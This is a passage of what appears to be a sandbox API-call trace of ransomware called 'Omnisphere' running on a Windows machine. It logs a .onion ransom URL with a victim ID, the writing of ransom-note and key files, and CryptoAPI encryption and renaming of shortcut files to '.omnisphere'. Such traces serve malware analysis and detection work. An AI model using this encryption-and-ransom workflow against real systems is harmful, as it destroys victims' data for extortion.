lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0147.524] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0147.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0147.524] GetProcessHeap () returned 0x1600000 [0147.524] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726a78 [0147.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726a78, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0147.524] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0147.524] GetProcessHeap () returned 0x1600000 [0147.524] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe4) returned 0x172ee38 [0147.524] PathCombineW (in: pszDest=0x172ee38, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\!DECRYPT_OMNISPHERE.txt" [0147.524] GetProcessHeap () returned 0x1600000 [0147.524] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x171df70 [0147.524] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0147.524] WriteFile (in: hFile=0x3c0, lpBuffer=0x171df70*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x171df70*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0147.525] CloseHandle (hObject=0x3c0) returned 1 [0147.526] GetProcessHeap () returned 0x1600000 [0147.526] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172f160 | out: hHeap=0x1600000) returned 1 [0147.526] GetProcessHeap () returned 0x1600000 [0147.526] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xda) returned 0x172a950 [0147.526] PathCombineW (in: pszDest=0x172a950, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\unique_decrypt.key" [0147.526] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0147.526] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0147.526] CloseHandle (hObject=0x3c0) returned 1 [0147.527] GetProcessHeap () returned 0x1600000 [0147.527] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172a950 | out: hHeap=0x1600000) returned 1 [0147.527] GetProcessHeap () returned 0x1600000 [0147.527] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1625a28 | out: hHeap=0x1600000) returned 1 [0147.527] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x0, dwReserved1=0xbf, cFileName="File Explorer.lnk", cAlternateFileName="FILEEX~1.LNK")) returned 1 [0147.527] GetProcessHeap () returned 0x1600000 [0147.527] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd8) returned 0x172e780 [0147.527] PathCombineW (in: pszDest=0x172e780, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools", pszFile="File Explorer.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk" [0147.527] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0147.527] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\file explorer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0147.528] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=407) returned 1 [0147.528] GetTickCount () returned 0x1164b39 [0147.528] GetTickCount () returned 0x1164b39 [0147.528] GetTickCount () returned 0x1164b39 [0147.528] GetTickCount () returned 0x1164b39 [0147.528] GetTickCount () returned 0x1164b39 [0147.528] GetTickCount () returned 0x1164b39 [0147.528] GetTickCount () returned 0x1164b39 [0147.528] GetTickCount () returned 0x1164b39 [0147.528] GetTickCount () returned 0x1164b39 [0147.528] GetTickCount () returned 0x1164b39 [0147.528] GetTickCount () returned 0x1164b39 [0147.528] GetTickCount () returned 0x1164b39 [0147.528] GetTickCount () returned 0x1164b39 [0147.528] GetTickCount () returned 0x1164b39 [0147.528] GetTickCount () returned 0x1164b39 [0147.528] GetTickCount () returned 0x1164b39 [0147.528] GetTickCount () returned 0x1164b39 [0147.529] GetTickCount () returned 0x1164b39 [0147.529] GetTickCount () returned 0x1164b39 [0147.529] GetTickCount () returned 0x1164b39 [0147.529] GetTickCount () returned 0x1164b39 [0147.529] GetTickCount () returned 0x1164b39 [0147.529] GetTickCount () returned 0x1164b39 [0147.529] GetTickCount () returned 0x1164b39 [0147.529] GetTickCount () returned 0x1164b39 [0147.529] GetTickCount () returned 0x1164b39 [0147.529] GetTickCount () returned 0x1164b39 [0147.529] GetTickCount () returned 0x1164b39 [0147.529] GetTickCount () returned 0x1164b39 [0147.529] GetTickCount () returned 0x1164b39 [0147.529] GetTickCount () returned 0x1164b39 [0147.529] GetTickCount () returned 0x1164b39 [0147.529] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x16688a0) returned 1 [0147.530] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x1639b28) returned 1 [0147.530] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0147.530] CryptDestroyKey (hKey=0x1639b28) returned 1 [0147.530] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0147.530] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x197, lpName=0x0) returned 0x388 [0147.530] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x197) returned 0x1480000 [0147.531] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x1668570) returned 1 [0147.531] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x16394e8) returned 1 [0147.531] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0147.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0147.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.532] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.532] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.532] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.532] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.532] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.532] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.532] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.532] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.532] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.532] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.532] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.532] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.532] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.532] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.532] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.532] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.532] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.532] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.532] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.533] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.533] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.533] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.533] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.533] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.533] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.533] CryptDestroyKey (hKey=0x16394e8) returned 1 [0147.533] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0147.533] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x197, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0147.533] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0147.535] GetProcessHeap () returned 0x1600000 [0147.535] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2e8) returned 0x172f160 [0147.535] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\file explorer.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\file explorer.lnk.omnisphere")) returned 1 [0147.538] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk.omnisphere.id" [0147.538] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\file explorer.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0147.539] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0147.540] CloseHandle (hObject=0x3b4) returned 1 [0147.541] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0147.542] CloseHandle (hObject=0x388) returned 1 [0147.542] SetEndOfFile (hFile=0x3c0) returned 1 [0147.543] FlushFileBuffers (hFile=0x3c0) returned 1 [0147.546] CloseHandle (hObject=0x3c0) returned 1 [0147.688] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools") returned 1 [0147.688] GetProcessHeap () returned 0x1600000 [0147.688] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x172f450 [0147.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0147.688] GetProcessHeap () returned 0x1600000 [0147.688] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fdb68 [0147.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fdb68, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0147.688] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0147.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0147.689] GetProcessHeap () returned 0x1600000 [0147.689] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726a98 [0147.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726a98, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0147.689] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0147.689] GetProcessHeap () returned 0x1600000 [0147.689] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe4) returned 0x172ef28 [0147.689] PathCombineW (in: pszDest=0x172ef28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\!DECRYPT_OMNISPHERE.txt" [0147.689] GetProcessHeap () returned 0x1600000 [0147.689] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x171ab68 [0147.689] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0147.690] WriteFile (in: hFile=0x3c0, lpBuffer=0x171ab68*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x171ab68*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0147.690] CloseHandle (hObject=0x3c0) returned 1 [0147.691] GetProcessHeap () returned 0x1600000 [0147.692] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172f450 | out: hHeap=0x1600000) returned 1 [0147.692] GetProcessHeap () returned 0x1600000 [0147.692] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xda) returned 0x172b178 [0147.692] PathCombineW (in: pszDest=0x172b178, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\unique_decrypt.key" [0147.692] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0147.692] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0147.692] CloseHandle (hObject=0x3c0) returned 1 [0147.693] GetProcessHeap () returned 0x1600000 [0147.693] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172b178 | out: hHeap=0x1600000) returned 1 [0147.693] GetProcessHeap () returned 0x1600000 [0147.693] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172e780 | out: hHeap=0x1600000) returned 1 [0147.693] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x199, dwReserved0=0x0, dwReserved1=0xbf, cFileName="Run.lnk", cAlternateFileName="")) returned 1 [0147.693] GetProcessHeap () returned 0x1600000 [0147.693] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc4) returned 0x162c6c8 [0147.693] PathCombineW (in: pszDest=0x162c6c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools", pszFile="Run.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Run.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Run.lnk" [0147.693] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0147.693] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Run.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\run.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0147.694] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=409) returned 1 [0147.694] GetTickCount () returned 0x1164be5 [0147.694] GetTickCount () returned 0x1164be5 [0147.694] GetTickCount () returned 0x1164be5 [0147.694] GetTickCount () returned 0x1164be5 [0147.694] GetTickCount () returned 0x1164be5 [0147.694] GetTickCount () returned 